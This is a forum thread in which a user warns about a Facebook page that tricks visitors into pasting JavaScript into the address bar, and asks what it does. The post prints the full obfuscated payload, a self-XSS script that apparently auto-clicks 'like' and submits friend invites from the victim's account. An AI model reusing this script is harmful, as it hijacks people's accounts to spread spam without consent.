/    Sign up×
Community /Pin to ProfileBookmark

Facebook Page trying to get you to run Javascript from address bar

Just saw that a friend of mine on facebook had joined/liked a page “19 Things You DO NOT Tell A Police Officer”, which has 181,757 people also liking it. I said i’d have a look out of curiousity. When you go to the page it asks to to press ctrl C, Alt D, ctrl V and press enter. So copy, go to the address bar paste and go. I didn’t go after i saw it pasted javascript into the addres bar.

I’m not familiar with javascript and was wondering it somebody could interperet what it is trying to do. I can’t imagine its anything other than malicious.

I tried to indent the code as best I could.

[CODE]javascript:(function()
{
a=’app125948134082166_jop’;
b=’app125948134082166_jode’;
ifc=’app125948134082166_ifc’;i
fo=’app125948134082166_ifo’;
mw=’app125948134082166_mwrapper’;
eval(function(p,a,c,k,e,r)
{
e=function(c)
{
return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!”.replace(/^/,String))
{
while(c–)r[e(c)]=k[c]||e(c);
k=[function(e){return r[e]}];
e=function(){return’\w+’};c=1
};
while(c–)if(k[c])p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c]);return p
}
(‘J e=[“\n\g\j\g\F\g\i\g\h\A”,”\j\h\A\i\f”,”\o\f\h\q\i\f\r\f\k\h\K\A\L\t”,”\w\g\t\t\f\k”,”\g\k\k\f\x\M\N\G\O”,”\n\l\i\y\f”,”\j\y\o\o\f\j\h”,”\i\g\H\f\r\f”,”\G\u\y\j\f\q\n\f\k\h\j”,”\p\x\f\l\h\f\q\n\f\k\h”,”\p\i\g\p\H”,”\g\k\g\h\q\n\f\k\h”,”\t\g\j\z\l\h\p\w\q\n\f\k\h”,”\j\f\i\f\p\h\v\l\i\i”,”\j\o\r\v\g\k\n\g\h\f\v\P\u\x\r”,”\B\l\Q\l\R\B\j\u\p\g\l\i\v\o\x\l\z\w\B\g\k\n\g\h\f\v\t\g\l\i\u\o\S\z\w\z”,”\j\y\F\r\g\h\T\g\l\i\u\o”];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);’,62,69,’||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||’.split(‘|’),0,{}))

})();[/CODE]

The page is [URL=”http://www.facebook.com/pages/19-Things-You-DO-NOT-Tell-A-Police-Officer/115527791817301?v=wall#!/pages/19-Things-You-DO-NOT-Tell-A-Police-Officer/115527791817301?v=wall”]here [/URL]if you’d like to see what i’m talking about. Go to the look here section and you’ll see but be carefull.

to post a comment
JavaScript

1 Comments(s)

Copy linkTweet thisAlerts:
@justinbarneskinMay 11.2010 — facebook is the site that convinced me to get the noscript plugin for Firefox

Norton anti-virus would always alert me on facebook but, clicking links

from google, I don't always see where I'm going.
×

Success!

Help @Marcus_Maximus spread the word by sharing this article on Twitter...

Tweet This
Sign in
Forgot password?
Sign in with TwitchSign in with GithubCreate Account
about: ({
version: 0.1.9 BETA 5.18,
whats_new: community page,
up_next: more Davinci•003 tasks,
coming_soon: events calendar,
social: @webDeveloperHQ
});

legal: ({
terms: of use,
privacy: policy
});
changelog: (
version: 0.1.9,
notes: added community page

version: 0.1.8,
notes: added Davinci•003

version: 0.1.7,
notes: upvote answers to bounties

version: 0.1.6,
notes: article editor refresh
)...
recent_tips: (
tipper: @AriseFacilitySolutions09,
tipped: article
amount: 1000 SATS,

tipper: @Yussuf4331,
tipped: article
amount: 1000 SATS,

tipper: @darkwebsites540,
tipped: article
amount: 10 SATS,
)...